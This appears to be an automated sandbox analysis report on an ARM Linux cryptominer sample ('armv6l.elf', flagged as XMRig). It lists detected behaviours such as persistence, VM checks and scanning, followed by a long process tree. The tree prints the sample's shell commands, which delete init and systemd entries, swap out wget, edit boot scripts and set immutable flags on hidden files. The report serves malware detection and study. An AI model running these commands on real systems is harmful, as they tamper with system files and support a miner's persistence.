Overview

overview

10

Static

static

1

armv6l.elf

debian-12-armhf

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-12_armhf
  • resource
    debian12-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
  • submitted
    07/11/2026, 01:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    armv6l.elf
  • Size 221KB
  • Sample261107-b5dfvsvvdt
  • SHA256 6303ba90e3f834029386e5df29d02f5239ffca6e56160ffde5b69183c62c4215
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
antivmdefense_evasiondiscoveryexecutionxmrig_linuxminerpersistenceprivilege_escalation

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Contacts a large (2142) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 33 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Modifies Watchdog functionality 1 TTPs 7 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Checks hardware identifiers (DMI) 1 TTPs 12 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 6 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates active TCP sockets 1 TTPs 6 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 6 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 6 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 6 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 12 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Reads hardware information 1 TTPs 12 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Removes the immutable protection flag from a file 1 TTPs 64 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • Modifies Bash startup script 2 TTPs 2 IoCs
    persistence
  • Changes its process name 8 IoCs
  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 6 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 12 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 32 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/armv6l.elf
    /tmp/armv6l.elf
    1⤵
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Checks hardware identifiers (DMI)
    • Creates/modifies Cron job
    • Creates/modifies environment variables
    • Enumerates active TCP sockets
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Reads MAC address of network interface
    • Reads hardware information
    • Modifies Bash startup script
    • Changes its process name
    • Checks CPU configuration
    • Reads system network configuration
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:785
    • /bin/sh
      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
      2⤵
        PID:820
        • /usr/bin/chattr
          chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
          3⤵
            PID:821
          • /usr/bin/rm
            rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
            3⤵
              PID:822
            • /usr/bin/rm
              rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
              3⤵
                PID:823
              • /usr/bin/rm
                rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                3⤵
                  PID:824
                • /usr/bin/rm
                  rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                  3⤵
                    PID:825
                  • /usr/bin/rm
                    rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                    3⤵
                      PID:826
                  • /bin/sh
                    sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                    2⤵
                    • File and Directory Permissions Modification
                    PID:827
                    • /usr/bin/rm
                      rm -f /root/.cling /usr/local/bin/.cling
                      3⤵
                        PID:828
                      • /usr/bin/rm
                        rm -f /bin/wget.p /bin/wget.r
                        3⤵
                          PID:829
                        • /usr/bin/rm
                          rm -f /usr/bin/wget.p /usr/bin/wget.r
                          3⤵
                            PID:830
                          • /usr/bin/rm
                            rm -f /sbin/wget.p /sbin/wget.r
                            3⤵
                              PID:831
                            • /usr/bin/rm
                              rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                              3⤵
                                PID:832
                              • /usr/bin/rm
                                rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                3⤵
                                  PID:833
                              • /bin/sh
                                sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                2⤵
                                  PID:834
                                  • /usr/bin/chattr
                                    chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                    3⤵
                                    • Removes the immutable protection flag from a file
                                    PID:835
                                • /bin/sh
                                  sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                  2⤵
                                    PID:978
                                    • /usr/bin/chattr
                                      chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                      3⤵
                                      • Removes the immutable protection flag from a file
                                      PID:979
                                    • /usr/bin/rm
                                      rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                      3⤵
                                        PID:980
                                      • /usr/bin/rm
                                        rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                        3⤵
                                          PID:981
                                        • /usr/bin/rm
                                          rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                          3⤵
                                            PID:982
                                          • /usr/bin/rm
                                            rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                            3⤵
                                              PID:983
                                            • /usr/bin/rm
                                              rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                              3⤵
                                                PID:984
                                            • /bin/sh
                                              sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:985
                                              • /usr/bin/rm
                                                rm -f /root/.cling /usr/local/bin/.cling
                                                3⤵
                                                  PID:986
                                                • /usr/bin/rm
                                                  rm -f /bin/wget.p /bin/wget.r
                                                  3⤵
                                                    PID:987
                                                  • /usr/bin/rm
                                                    rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                    3⤵
                                                      PID:988
                                                    • /usr/bin/rm
                                                      rm -f /sbin/wget.p /sbin/wget.r
                                                      3⤵
                                                        PID:989
                                                      • /usr/bin/rm
                                                        rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                        3⤵
                                                          PID:990
                                                        • /usr/bin/rm
                                                          rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                          3⤵
                                                            PID:991
                                                        • /bin/sh
                                                          sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                          2⤵
                                                            PID:992
                                                            • /usr/bin/chattr
                                                              chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                              3⤵
                                                                PID:993
                                                            • /bin/sh
                                                              sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                              2⤵
                                                              • Removes the immutable protection flag from a file
                                                              PID:1060
                                                              • /usr/bin/chattr
                                                                chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                3⤵
                                                                • Removes the immutable protection flag from a file
                                                                PID:1061
                                                              • /usr/bin/rm
                                                                rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                3⤵
                                                                  PID:1062
                                                                • /usr/bin/rm
                                                                  rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                  3⤵
                                                                    PID:1063
                                                                  • /usr/bin/rm
                                                                    rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                    3⤵
                                                                      PID:1064
                                                                    • /usr/bin/rm
                                                                      rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                      3⤵
                                                                        PID:1065
                                                                      • /usr/bin/rm
                                                                        rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                        3⤵
                                                                          PID:1066
                                                                      • /bin/sh
                                                                        sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:1067
                                                                        • /usr/bin/rm
                                                                          rm -f /root/.cling /usr/local/bin/.cling
                                                                          3⤵
                                                                            PID:1068
                                                                          • /usr/bin/rm
                                                                            rm -f /bin/wget.p /bin/wget.r
                                                                            3⤵
                                                                              PID:1069
                                                                            • /usr/bin/rm
                                                                              rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                              3⤵
                                                                                PID:1070
                                                                              • /usr/bin/rm
                                                                                rm -f /sbin/wget.p /sbin/wget.r
                                                                                3⤵
                                                                                  PID:1071
                                                                                • /usr/bin/rm
                                                                                  rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                  3⤵
                                                                                    PID:1072
                                                                                  • /usr/bin/rm
                                                                                    rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                    3⤵
                                                                                      PID:1073
                                                                                  • /bin/sh
                                                                                    sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                    2⤵
                                                                                      PID:1074
                                                                                      • /usr/bin/chattr
                                                                                        chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                        3⤵
                                                                                        • Removes the immutable protection flag from a file
                                                                                        PID:1075
                                                                                    • /bin/sh
                                                                                      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                      2⤵
                                                                                      • Removes the immutable protection flag from a file
                                                                                      PID:1140
                                                                                      • /usr/bin/chattr
                                                                                        chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                        3⤵
                                                                                          PID:1141
                                                                                        • /usr/bin/rm
                                                                                          rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                          3⤵
                                                                                            PID:1142
                                                                                          • /usr/bin/rm
                                                                                            rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                            3⤵
                                                                                              PID:1143
                                                                                            • /usr/bin/rm
                                                                                              rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                              3⤵
                                                                                                PID:1144
                                                                                              • /usr/bin/rm
                                                                                                rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                3⤵
                                                                                                  PID:1145
                                                                                                • /usr/bin/rm
                                                                                                  rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                  3⤵
                                                                                                    PID:1146
                                                                                                • /bin/sh
                                                                                                  sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                  2⤵
                                                                                                  • File and Directory Permissions Modification
                                                                                                  PID:1147
                                                                                                  • /usr/bin/rm
                                                                                                    rm -f /root/.cling /usr/local/bin/.cling
                                                                                                    3⤵
                                                                                                      PID:1148
                                                                                                    • /usr/bin/rm
                                                                                                      rm -f /bin/wget.p /bin/wget.r
                                                                                                      3⤵
                                                                                                        PID:1149
                                                                                                      • /usr/bin/rm
                                                                                                        rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                        3⤵
                                                                                                          PID:1150
                                                                                                        • /usr/bin/rm
                                                                                                          rm -f /sbin/wget.p /sbin/wget.r
                                                                                                          3⤵
                                                                                                            PID:1151
                                                                                                          • /usr/bin/rm
                                                                                                            rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                            3⤵
                                                                                                              PID:1152
                                                                                                            • /usr/bin/rm
                                                                                                              rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                              3⤵
                                                                                                                PID:1153
                                                                                                            • /bin/sh
                                                                                                              sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                              2⤵
                                                                                                                PID:1154
                                                                                                                • /usr/bin/chattr
                                                                                                                  chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                  3⤵
                                                                                                                    PID:1155
                                                                                                                • /bin/sh
                                                                                                                  sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                  2⤵
                                                                                                                    PID:1220
                                                                                                                    • /usr/bin/chattr
                                                                                                                      chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                      3⤵
                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                      PID:1221
                                                                                                                    • /usr/bin/rm
                                                                                                                      rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                      3⤵
                                                                                                                        PID:1222
                                                                                                                      • /usr/bin/rm
                                                                                                                        rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                        3⤵
                                                                                                                          PID:1223
                                                                                                                        • /usr/bin/rm
                                                                                                                          rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                          3⤵
                                                                                                                            PID:1224
                                                                                                                          • /usr/bin/rm
                                                                                                                            rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                            3⤵
                                                                                                                              PID:1225
                                                                                                                            • /usr/bin/rm
                                                                                                                              rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                              3⤵
                                                                                                                                PID:1226
                                                                                                                            • /bin/sh
                                                                                                                              sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                              2⤵
                                                                                                                              • File and Directory Permissions Modification
                                                                                                                              PID:1227
                                                                                                                              • /usr/bin/rm
                                                                                                                                rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                3⤵
                                                                                                                                  PID:1228
                                                                                                                                • /usr/bin/rm
                                                                                                                                  rm -f /bin/wget.p /bin/wget.r
                                                                                                                                  3⤵
                                                                                                                                    PID:1229
                                                                                                                                  • /usr/bin/rm
                                                                                                                                    rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                    3⤵
                                                                                                                                      PID:1230
                                                                                                                                    • /usr/bin/rm
                                                                                                                                      rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                      3⤵
                                                                                                                                        PID:1231
                                                                                                                                      • /usr/bin/rm
                                                                                                                                        rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                        3⤵
                                                                                                                                          PID:1232
                                                                                                                                        • /usr/bin/rm
                                                                                                                                          rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                          3⤵
                                                                                                                                            PID:1233
                                                                                                                                        • /bin/sh
                                                                                                                                          sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                          2⤵
                                                                                                                                            PID:1234
                                                                                                                                            • /usr/bin/chattr
                                                                                                                                              chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                              3⤵
                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                              PID:1235
                                                                                                                                          • /bin/sh
                                                                                                                                            sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                            2⤵
                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                            PID:1300
                                                                                                                                            • /usr/bin/chattr
                                                                                                                                              chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                              3⤵
                                                                                                                                                PID:1301
                                                                                                                                              • /usr/bin/rm
                                                                                                                                                rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                3⤵
                                                                                                                                                  PID:1302
                                                                                                                                                • /usr/bin/rm
                                                                                                                                                  rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1303
                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                    rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1304
                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                      rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1305
                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                        rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1306
                                                                                                                                                      • /bin/sh
                                                                                                                                                        sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                        2⤵
                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                        PID:1307
                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                          rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1308
                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                            rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1309
                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                              rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1310
                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1311
                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                  rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1312
                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                    rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1313
                                                                                                                                                                  • /bin/sh
                                                                                                                                                                    sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1314
                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                        chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:1315
                                                                                                                                                                      • /bin/sh
                                                                                                                                                                        sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                        PID:1414
                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                          chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                          PID:1415
                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                          rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:1416
